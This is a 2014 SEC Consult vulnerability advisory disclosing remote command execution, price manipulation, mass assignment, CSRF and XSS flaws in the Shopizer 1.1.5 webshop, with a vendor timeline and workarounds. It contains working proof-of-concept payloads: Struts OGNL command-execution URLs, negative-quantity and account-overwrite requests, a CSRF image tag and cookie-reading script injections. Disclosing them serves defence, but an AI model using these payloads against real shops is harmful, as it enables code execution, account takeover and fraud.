Shopizer version 1.1.5 suffers from remote command execution, cross site request forgery, cross site scripting, and data manipulation vulnerabilities.
e4162980efab523974589c1d3461783cd9e47700688234801663f08a5f929a8d
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
SEC Consult Vulnerability Lab Security Advisory < 20140710-0 >
=======================================================================
title: Multiple critical vulnerabilities in Shopizer webshop
product: Shopizer
vulnerable version: 1.1.5 and below
fixed version: v2 (new codebase)
impact: critical
homepage: https://www.shopizer.com/
found: 2012-01-10
by: Johannes Dahse, Johannes Greil
SEC Consult Vulnerability Lab
https://www.sec-consult.com
=======================================================================
Vendor description:
- -------------------
Shopizer is an open source java shopping cart and e-commerce content
management software (CMS). The system is built on Struts 2, Hibernate and
Spring. JQuery ui and ajax are heavily used on the ui as well as DWR and
Struts2-jQuery plug-in. (https://www.shopizer.com/)
Vulnerability overview/description:
- -----------------------------------
Shopizer is prone to at least the following vulnerabilities, some of them are highly
critical:
1.) Remote Command Execution
Shopizer 1.1.5 is using Apache Struts 2.2.1.1 and is thus vulnerable to Remote
Command Execution. Shopizer 1.1.3 and below is built on Apache Struts 2.1.6
and is also affected.
Fore more details please refer to:
* https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm#a18
* https://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html
This affects the shop and admin interface (central).
2.) Manipulation of product prices
When buying products in Shopizer the product costs for a single product is
calculated by the selected quantity times the price of the product. The
total costs of all products is the adding of all product costs. An attacker
can specify negative quantities to decrease the total costs.
This affects the shop.
3.) Manipulation of customer data / mass assignment
An attacker can change the contact details of a customer by modifying the
customerId in the change request. In example this allows him to modify the
shipping address to retrieve products bought by another customer.
Furthermore, a malicious admin user (sm-central) is able to change the
passwords of other user accounts by appending a "customer.customerPassword"
HTTP parameter when saving user details. This is possible _although_ there
is no UI (form field) for this within the admin interface.
This affects the shop and admin interface (central).
4.) Cross-Site Request Forgery
Modifying customer data is also prone to CSRF attacks. Additionally, the
attacker can change customer passwords, shop configuration, product details
and product prices by sending CSRF requests to the administration interface.
This affects the shop and admin interface (central).
5.) Missing anti brute force protection
No protection against brute force attacks regarding login credentials is
implemented. Attackers can guess for weak passwords of users, as the
password policy of the shop only allows exactly between 6 and 8 characters.
The use of special chars or digits is not being enforced.
This affects the shop and admin interface (central).
6.) Cross-Site Scripting
The Shopizer Admin Interface suffers from multiple reflected XSS
vulnerabilities.
Proof of concept:
- -----------------
1.) Remote Command Execution in Struts
a) Via exception
The following URL will trigger an exception for an invalid "productId" data
type and Struts will re-evaluate the specified value as OGNL expression. An
attacker can successfully bypass security restrictions of Struts and execute
arbitrary Java code, leading to Remote Command Execution.
/shop/product/reviews.action?product.productId=secconsult'%2b(%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'
Other numeric parameters are affected as well.
b) Via ParameterInterceptor
The following URL will store a OGNL expression in the property "search" of
type String. This OGNL expression can then be accessed by a dynamic function
call in another parameter leading to Remote Command Execution.
/shop/search.action?search=(%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))(secconsult)&z[(search)('secconsult')]=true
2.) Manipulation of product prices
Assuming the shop has a product1 (300$) and a product2 (290$) for the total
costs of 590$. The following steps can be reproduced by a malicious user to
decrease the total costs when buying those products:
a) Add product1 and product2 to the shopping cart
b) Go to the shopping cart and press "recalculate"
c) Intercept the ajax DWR request and modify the number reference of the
parameter "productQuantity" for product2 to a negative value (-1):
c0-e3=string:2
c0-e4=number:-1
c0-e1=Object_Object:{productId:reference:c0-e3, productQuantity:reference:c0-e4}
d) The new costs for product2 now recalculate to: -1 x 290 = -290$
e) the new total costs is: product1 + product2 = 300$ + (-290$) = 10$
f) continue shopping and pay 10$ for products worth 590$.
This is especially critical for shops that only provide digital products.
Furthermore, during the second step of the checkout process it is
possible to add a negative quantity of products exploiting a Shopizer's
feature called "standalone shopping cart". This results in a negative price.
By issuing the following specially crafted request in the separate tab of
the web browser, while the first tab contains the second step of the checkout
process, the total price will be decreased. Note that the page must be
refreshed after the request to reflect the changes.
/shop/cart/addToCart?merchantId=1&productId=43&qty=-240
3.) Manipulation of customer data / mass assignment
It's possible to overwrite user data of an arbitrary
user and gain access to his account and personal information _when
registering a new user_.
To achieve this, a malicious user has to add the customer.customerId
parameter to the HTTP request and specify the value of the parameter
to match the target user e.g. 87 when registering a new user.
For example, the following request will overwrite the user data
including username and password of the user with the ID 87.
POST /shop/profile/register.action HTTP/1.1
[...]
struts.token.name=struts.token&struts.token=8393EPOT4BN4CNYAJ6ETRI9DNR2FSP1R&formstate=list&customer.customerNick=SecTest&newPassword=SecTest123&repeatNewPassword=SecTest123&customer.customerCompany=SecTest&customer.customerGender=M&customer.customerTitel=SecTest&customer.customerFirstname=SecTest&customer.customerLastname=SecTest&customer.customerTelephone=&customer.customerEmailAddress=sectest@example.com&customer.customerCountryId=14&customer.customerZoneId=95&customer.customerPostalCode=SecTest&customer.customerCity=SecTest&customer.customerStreetAddress=SecTest&customer.customerHouseAddress=SecTest&captcha_honeypot=&customer.customerPrivacyRules=1&customer.customerId=87
In this case no account confirmation is needed. Instant access
to the overwritten account and its data is possible using the
new username SecTest and the newly specified password! An attacker is able to
access sensitive data (order information,
personal information etc.).
Additionally, the following request will overwrite the contact data of customer id 10,
including the name, shipping address and billing address:
/shop/profile/changeAddress.action?formstate=list&customer.customerId=10&customer.customerCompany=secconsult&customer.customerGender=&customer.customerTitel=&customer.customerFirstname=secconsult&customer.customerLastname=secconsult&customer.customerTelephone=00&customer.customerEmailAddress=owned@secconsult.com&customer.customerCountryId=14&customer.customerZoneId=95&customer.customerPostalCode=1190&customer.customerCity=secconsult&customer.customerStreetAddress=secconsult&customer.customerHouseAddress=17&customer.customerAnonymous=false&customer.customerBillingTitel=&customer.customerBillingFirstName=secconsult&customer.customerBillingLastName=secconsult&customer.customerBillingStreetAddress=secconsult&customer.customerBillingHouseAddress=17&customer.customerBillingCity=secconsult&customer.customerBillingZoneId=95&customer.customerBillingState=secconsult&customer.customerBillingPostalCode=1190&customer.customerBillingCountryId=14&customer.customerLang=de&customer.customerPrivacyRul
es=1&customer.
customerNick=secconsult
Note that in this specific case the account of the attacker and the victim will not
be able to login again after the attack, because the nickname will be
overwritten and found twice during login.
Furthermore, the administration interface does not offer a UI to change user
passwords. By appending the parameter "customer.customerPassword" an attacker
is able to change the password of arbitrary users within the customer details
page.
4.) Cross-Site Request Forgery
The following image will alter the product price for the product 30 when
rendered by the browser of an logged in webshop administrator:
<img
src="/central/catalog/saveproduct.action?categ=30&product.productType=1&product.productStatus=true&__checkbox_product.productStatus=true&__checkbox_product.productVirtual=true&__checkbox_product.productIsFree=false&dateavailable=2012-01-24&price=1.00&product.productExternalDl=1&names[0]=secconsult&seo[0]=secconsult&title[0]=secconsult&highlights[0]=secconsult&descriptions[0]=secconsult&metadescriptions[0]=secconsult&downloadurl[0]=&uploadimage=&weight=1.0&width=1.0&length=1.0&height=1.0&product.productQuantity=99&product.productQuantityOrderMax=99&product.productSortOrder=1&product.productTaxClassId=1&product.productId=30&product.productImage=&product.productImageLarge=&product.productImage1=&product.productImage2=&product.productImage3=&product.productImage4="/>
Furthermore, the parameter "__checkbox_product.productIsFree" can also be set
to "true".
Additionally, the administration interface allows to overwrite the password
hash of every customer which can also be exploited via CSRF.
The product review form is also vulnerable to Cross-Site Request Forgery
attacks. A similar request to the following URL will result in a product
review being posted in the context of the currently logged in user. Note
that the URL does not contain any parameter that is holding a nonce value.
/shop/product/createReview.action?product.productId=43&rating=5&star=5&reviewText=Excellent&=
5.) Missing anti brute force protection
No proof-of-concept is necessary. See source:
sm-central/src/com/salesmanager/central/profile/ProfileAction.java
Line 525 - 530 of shopizer 1.1.5
6.) Cross-Site Scripting
/central/orders/searchcriteria.action?customername="><script>alert(document.cookie)</script>
/central/catalog/productlist.action?productname="><script>alert(document.cookie)</script>&availability=2"><script>alert(document.cookie)</script>&status=2"><script>alert(document.cookie)</script>
E.g. source code:
sm-central/WebContent/orders/orderlist.jsp
Line: 118
SEC Consult assumes, that many more XSS vulnerabilities exist within this
software as no proper filtering is implemented.
Vulnerable / tested versions:
- -----------------------------
All vulnerabilities could be reproduced with Shopizer 1.1.5 and 1.1.3
Vendor contact timeline:
- ------------------------
2012-01-10: The vulnerabilities have been found during a short blackbox test
of a shopizer installation during a customer project
2012-12-20: Customer allows contacting vendor
2013-01-10: Contacting vendor through support@shopizer.com, fast reply,
sending advisory
2013-01-22: Asking for status update, reply: vendor takes a look
2013-02-26: Asking for status update, vendor has some questions regarding
version numbers
2013-03-22: Asking for status update again
2013-03-23: Vendor: Release 2 is scheduled for June
2013-06-25: Asking for status update, no answer
2013-07-01: Sending deadline for advisory release
2013-07-07: Vendor: Version 2 of shopizer delayed
2013-07-08: Asking for new release date
2013-07-09: Vendor: moving from Struts to Spring & Spring security
2013-10-03: Asking again for release date
2013-10-06: Vendor: Release shortly
2013-12-10: Asking for update
2013-12-12: Vendor: Release date set for January 2014
2014-06: Vendor releases v2
2014-07-10: SEC Consult releases security advisory
Solution:
- ---------
Using the old version branch 1.x is not recommended as there are no security
fixes implemented by the vendor.
Version 2 has been released by the vendor, but it has not been tested by SEC
Consult and it is unclear whether the issues have been solved.
Workaround:
- -----------
These workarounds have to be implemented in source:
* Update the Apache Struts library to the latest version available.
* Disallow negative product quantities.
* Identify customers by session and not by customerId parameter.
Furthermore, change the default login (admin:password) for the administration
interface.
Advisory URL:
- -------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius
Headquarter:
Mooslackengasse 17, 1190 Vienna, Austria
Phone: +43 1 8903043 0
Fax: +43 1 8903043 15
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: https://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF J. Dahse, J. Greil / 2012, 2013, 2014
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
iQEcBAEBAgAGBQJTvmP8AAoJECyFJyAEdlkKIvIH/jN5QXxf98jLswdxXH7bpHND
OmX43+f2o119h7jphQierfe2Fj5NqG3l+9Gldb601SYtdOXldI5Dn/GSByZb0NbD
Xn5i9SeRNzbxPghCX7JubHaJX86HKoxrks34Hgoe7/v5A4rkIs3XA868tIODWq/j
FCSnwn3I7DQu8lSR1PzbzTX2aOnilTAdmSTFH5MahMXrVgk3YHwNbtVIDz6/xriW
ynsvLr709i/fQWEhwo4OoTwhyHwhrjPjY3jQNhcO70OMjG1kWqULFySGWNeVof0k
a2K/EHcqiDPFyrpHifvVheOeQaPoFO5CL/Ze7cV7B9vRi9WPo3Y07wNfnJiYOdY=
=3Hvl
-----END PGP SIGNATURE-----